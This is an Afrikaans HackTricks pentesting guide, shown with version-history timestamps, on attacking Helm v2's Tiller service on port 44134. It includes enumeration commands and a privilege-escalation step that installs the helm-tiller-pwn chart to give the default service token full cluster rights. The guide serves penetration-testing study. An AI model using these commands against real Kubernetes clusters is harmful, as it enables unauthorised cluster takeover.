hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

84 lines
5.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
# Basiese Inligting
2021-12-29 12:26:06 +00:00
2024-02-11 02:07:06 +00:00
Helm is die **pakketbestuurder** vir Kubernetes. Dit maak dit moontlik om YAML-lêers te verpak en hulle in openbare en private repositoriums te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op die poort 44134 loop en die diens aanbied.
2021-12-29 12:26:06 +00:00
2024-02-11 02:07:06 +00:00
**Standaardpoort:** 44134
2021-12-29 12:26:06 +00:00
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
2024-02-11 02:07:06 +00:00
# Enumerasie
2021-12-29 12:26:06 +00:00
2024-02-11 02:07:06 +00:00
As jy pods en/of dienste van verskillende namespaces kan **enumereer**, enumereer hulle en soek na diegene met **"tiller" in hul naam**:
2021-12-29 12:26:06 +00:00
```bash
2022-01-14 10:22:14 +00:00
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
2021-12-29 12:26:06 +00:00
```
2024-02-11 02:07:06 +00:00
Voorbeelde:
2021-12-29 12:26:06 +00:00
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
2024-02-11 02:07:06 +00:00
Jy kan ook probeer om hierdie diens te vind deur die poort 44134 te kontroleer:
2021-12-29 12:26:06 +00:00
```bash
sudo nmap -sS -p 44134 <IP>
```
2024-02-11 02:07:06 +00:00
Sodra jy dit ontdek het, kan jy daarmee kommunikeer deur die klient helm-toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasiegids](https://v2.helm.sh/docs/using\_helm/#installing-helm).
2021-12-29 12:26:06 +00:00
2024-02-11 02:07:06 +00:00
Dan kan jy **die diens opnoem**:
2021-12-29 12:26:06 +00:00
```
helm --host tiller-deploy.kube-system:44134 version
```
2024-02-11 02:07:06 +00:00
## Voorregverhoging
2021-12-29 12:26:06 +00:00
2024-02-11 02:07:06 +00:00
Standaard is **Helm2** geïnstalleer in die **namespace kube-system** met **hoë voorregte**, so as jy die diens vind en toegang daartoe het, kan dit jou in staat stel om **voorregte te verhoog**.
2021-12-29 12:26:06 +00:00
2024-02-11 02:07:06 +00:00
Al wat jy hoef te doen is om 'n pakkie soos hierdie een te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens-token toegang gee tot alles in die hele groep.**
2021-12-29 12:26:06 +00:00
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
2024-02-11 02:07:06 +00:00
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verduideliking van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle voorregte aan die verstek-token gegee word**.
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>